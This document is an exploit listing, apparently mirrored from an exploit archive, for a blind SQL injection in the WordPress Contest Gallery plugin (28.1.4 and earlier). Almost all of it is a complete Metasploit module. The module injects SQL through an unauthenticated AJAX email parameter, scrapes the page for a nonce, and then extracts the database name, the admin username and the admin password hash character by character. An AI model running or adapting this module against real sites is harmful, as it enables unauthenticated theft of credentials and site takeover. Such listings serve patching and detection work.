Share
## https://sploitus.com/exploit?id=PACKETSTORM:222983
==================================================================================================================================
    | # Title     : WordPress Contest Gallery 28.1.4 Blind SQL Injection                                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://wordpress.org/plugins/contest-gallery/                                                                   |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit module targets a reported blind SQL injection vulnerability in the WordPress Contest Gallery plugin (v28.1.4 and earlier).
    
    [+] POC        :  
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress Contest Gallery 28.1.4 Blind SQL Injection',
            'Description' => %q{
              This module exploits a blind boolean-based SQL injection vulnerability in
              WordPress plugin Contest Gallery version 28.1.4 and earlier. The vulnerability
              exists in the 'post_cg1l_resend_unconfirmed_mail_frontend' AJAX action where
              the 'cgl_mail' parameter is improperly sanitized. The sanitize_email() function
              preserves single quotes in the local part of an email address, allowing
              unauthenticated attackers to perform boolean-based blind SQL injection.
            },
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2026-3180'],
              ['URL', 'https://example.com/advisory'] 
            ],
            'DisclosureDate' => '2026-06-07',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to WordPress installation', '/']),
          OptInt.new('TIME_BASED', [false, 'Use time-based injection (seconds delay)', 0]),
          OptString.new('NONCE', [false, 'The cg_nonce value (if known)', '']),
          OptString.new('PAGE_ID', [true, 'The cgl_page_id value', '1']),
          OptEnum.new('INJECTION_TYPE', [true, 'Type of injection to use', 'BOOLEAN', ['BOOLEAN', 'TIME']])
        ])
      end
    
      def wordpress_base
        normalize_uri(target_uri.path)
      end
    
      def ajax_url
        normalize_uri(wordpress_base, 'wp-admin', 'admin-ajax.php')
      end
    
      def fetch_nonce
        unless datastore['NONCE'].empty?
          vprint_good("Using provided nonce: #{datastore['NONCE']}")
          return datastore['NONCE']
        end
    
        print_status("Attempting to extract cg_nonce from the target...")
        
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => wordpress_base
          })
    
          if res && res.body
            if res.body =~ /cg_nonce["']\s*:\s*["']([^"']+)["']/i
              nonce = Regexp.last_match(1)
              print_good("Found nonce: #{nonce}")
              return nonce
            elsif res.body =~ /name=["']cg_nonce["']\s+value=["']([^"']+)["']/i
              nonce = Regexp.last_match(1)
              print_good("Found nonce: #{nonce}")
              return nonce
            end
          end
        rescue => e
          vprint_error("Failed to fetch nonce: #{e.message}")
        end
    
        print_warning("Could not extract nonce. Some targets may reject the request.")
        return ''
      end
    
      def send_sqli_payload(injection)
        nonce = fetch_nonce
        email = "test'#{injection}#@example.com"
        
        post_data = {
          'action' => 'post_cg1l_resend_unconfirmed_mail_frontend',
          'cgl_mail' => email,
          'cgl_page_id' => datastore['PAGE_ID'],
          'cgl_activation_key' => '',
          'cg_nonce' => nonce
        }
    
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => ajax_url,
            'vars_post' => post_data
          })
          return res
        rescue ::Rex::ConnectionError => e
          print_error("Connection failed: #{e.message}")
          return nil
        end
      end
    
      def boolean_test(condition)
        injection = "') OR #{condition} #"
        res = send_sqli_payload(injection)
    
        if res && res.body
    
          return res.body.length > 500  
        end
        false
      end
    
      def time_test(condition)
        injection = "') OR IF(#{condition}, SLEEP(#{datastore['TIME_BASED']}), 0) #"
        
        start_time = Time.now
        res = send_sqli_payload(injection)
        elapsed = Time.now - start_time
        
        return elapsed >= datastore['TIME_BASED']
      end
    
      def run_host(ip)
        unless datastore['TIME_BASED'] > 0 || datastore['INJECTION_TYPE'] == 'BOOLEAN'
          print_error("For TIME injection, set TIME_BASED > 0")
          return
        end
    
        print_status("Testing vulnerability on #{peer}")
        test_true = datastore['INJECTION_TYPE'] == 'BOOLEAN' ? 
          boolean_test('1=1') : time_test('1=1')
        
        test_false = datastore['INJECTION_TYPE'] == 'BOOLEAN' ? 
          boolean_test('1=2') : time_test('1=2')
    
        unless test_true == true && test_false == false
          print_error("Target does not appear to be vulnerable")
          return
        end
    
        print_good("Target is vulnerable to #{datastore['INJECTION_TYPE']}-based blind SQL injection!")
        print_status("Attempting to extract database name...")
        dbname = blind_extract_data("SELECT DATABASE()")
        print_good("Database name: #{dbname}")
        print_status("Extracting admin username...")
        admin_user = blind_extract_data(
          "SELECT user_login FROM wp_users WHERE ID=1"
        )
        print_good("Admin user: #{admin_user}")
        print_status("Extracting admin password hash...")
        admin_hash = blind_extract_data(
          "SELECT user_pass FROM wp_users WHERE ID=1"
        )
        print_good("Admin hash: #{admin_hash}")
    
        report_vuln({
          host: rhost,
          port: rport,
          name: self.name,
          refs: references,
          info: "Blind SQL injection in Contest Gallery plugin"
        })
        
        report_cred({
          username: admin_user,
          hash: admin_hash,
          type: 'nonreplayable_hash',
          proof: "Extracted via blind SQL injection",
          jtr_format: 'phpass'
        })
      end
    
      def blind_extract_data(query)
        result = ""
        charset = (32..126).map(&:chr).join
        
        1.upto(64) do |pos|
          found = false
          
          charset.each_char do |char|
            condition = "ASCII(SUBSTRING((#{query}), #{pos}, 1)) = #{char.ord}"
            
            is_true = datastore['INJECTION_TYPE'] == 'BOOLEAN' ? 
              boolean_test(condition) : time_test(condition)
            
            if is_true
              result << char
              print_status("  Found: #{result}")
              found = true
              break
            end
          end
          
          break unless found
        end
        
        result
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================